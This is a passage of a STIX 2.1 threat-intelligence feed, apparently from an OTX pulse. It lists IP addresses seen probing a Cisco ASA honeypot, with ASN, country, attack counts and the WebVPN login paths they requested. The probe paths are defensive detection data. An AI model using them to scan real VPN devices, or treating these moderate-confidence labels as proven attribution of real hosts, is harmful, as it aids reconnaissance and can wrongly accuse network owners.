      "valid_until": "2026-06-28T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T18:37:49.056Z",
          "last_seen": "2026-05-31T04:54:31.682Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--eedb53b3-1765-4072-ab78-4ee232c7a102",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.49.126.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T20:20:10.000Z",
      "valid_until": "2026-06-28T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T19:51:15.815Z",
          "last_seen": "2026-05-27T19:51:28.895Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--3e3b3edc-7d8a-45de-ba1c-8967d60e6944",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.48.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T20:20:10.000Z",
      "valid_until": "2026-06-28T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T19:41:52.867Z",
          "last_seen": "2026-05-27T19:42:06.658Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e9b0b270-022f-4bd1-8b1a-8715497a82dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.53.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T20:20:10.000Z",
      "valid_until": "2026-06-28T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T19:50:15.537Z",
          "last_seen": "2026-05-27T19:50:28.250Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--d171f5f5-7b0a-462a-afc3-02cf282933af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.237.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T20:20:10.000Z",
      "valid_until": "2026-06-28T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-27T20:17:46.946Z",
          "last_seen": "2026-05-31T04:21:28.007Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 395092 (Shock Hosting LLC)",
      "id": "indicator--5c151c7d-dfcd-4e3e-8b10-e4e5bd0cf1dc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.140.174.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T20:20:10.000Z",
      "valid_until": "2026-06-28T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T20:01:23.958Z",
          "last_seen": "2026-05-29T06:44:21.151Z",
          "country": "United States",
          "country_code": "US",
          "asn": 395092,
          "as_org": "Shock Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--7ececaa9-c17e-47e6-ab96-2d9ca4380983",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T20:20:10.000Z",
      "valid_until": "2026-06-28T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-27T19:25:33.908Z",
          "last_seen": "2026-05-27T19:25:33.908Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--a7fe1784-ef5f-40f5-aac9-07163c34792d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T20:20:10.000Z",
      "valid_until": "2026-06-28T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-27T19:42:59.320Z",
          "last_seen": "2026-05-27T19:42:59.320Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--77d464ab-6506-442a-a7ef-4ce3bcb3e341",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.141.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T21:20:10.000Z",
      "valid_until": "2026-06-28T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T20:37:55.818Z",
          "last_seen": "2026-05-30T12:21:29.152Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--2e9d4725-ee38-479a-9109-86e90ed6f35a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.145.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T21:20:10.000Z",
      "valid_until": "2026-06-28T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T21:07:30.666Z",
          "last_seen": "2026-05-29T14:56:57.205Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--a4a39ddc-753a-4144-8201-07600b688d5b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.150.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T21:20:10.000Z",
      "valid_until": "2026-06-28T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T21:02:16.003Z",
          "last_seen": "2026-05-27T22:30:30.895Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--76b6d4d0-18a4-4981-a740-a671d84855ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:20:10.000Z",
      "valid_until": "2026-06-28T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-27T21:37:14.655Z",
          "last_seen": "2026-05-27T21:37:17.658Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--19922d1b-0a6b-4f11-8bae-557422f08f10",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '109.94.216.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:20:10.000Z",
      "valid_until": "2026-06-28T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T22:19:11.251Z",
          "last_seen": "2026-05-27T22:19:22.340Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--986a03eb-7e4d-4f1e-94aa-23d3ebc8fabb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '109.94.217.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:20:10.000Z",
      "valid_until": "2026-06-28T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T22:01:31.498Z",
          "last_seen": "2026-05-29T22:56:07.198Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f2fda3a1-2389-4037-951d-906e5ae01c13",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.44.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:20:10.000Z",
      "valid_until": "2026-06-28T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T21:28:08.104Z",
          "last_seen": "2026-05-27T21:28:21.859Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--b4d6a76d-cbca-416b-b20c-073b6ef96b0e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.83.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:20:10.000Z",
      "valid_until": "2026-06-28T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T21:22:36.661Z",
          "last_seen": "2026-05-27T21:22:47.806Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--1fe248cd-aa78-4e16-b370-f1cfab33069d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.212.41.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:20:10.000Z",
      "valid_until": "2026-06-28T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T21:24:34.990Z",
          "last_seen": "2026-05-31T02:37:41.467Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--fa4b1a63-48ab-4556-b6ee-ea87abdb728c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.221.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:20:10.000Z",
      "valid_until": "2026-06-28T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T21:42:52.627Z",
          "last_seen": "2026-05-27T21:43:07.218Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 395092 (Shock Hosting LLC)",
      "id": "indicator--282d6430-8b3d-4b18-9c06-347a98779795",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '213.166.94.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:20:10.000Z",
      "valid_until": "2026-06-28T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T22:19:57.138Z",
          "last_seen": "2026-05-27T22:20:10.593Z",
          "country": "United States",
          "country_code": "US",
          "asn": 395092,
          "as_org": "Shock Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--878306a5-b44b-4913-a7b7-8b9d961c77e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '135.106.66.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T23:20:10.000Z",
      "valid_until": "2026-06-28T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T23:03:18.545Z",
          "last_seen": "2026-05-27T23:03:31.324Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--41b02c1c-70a0-4258-bbaa-67411bc0d83d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
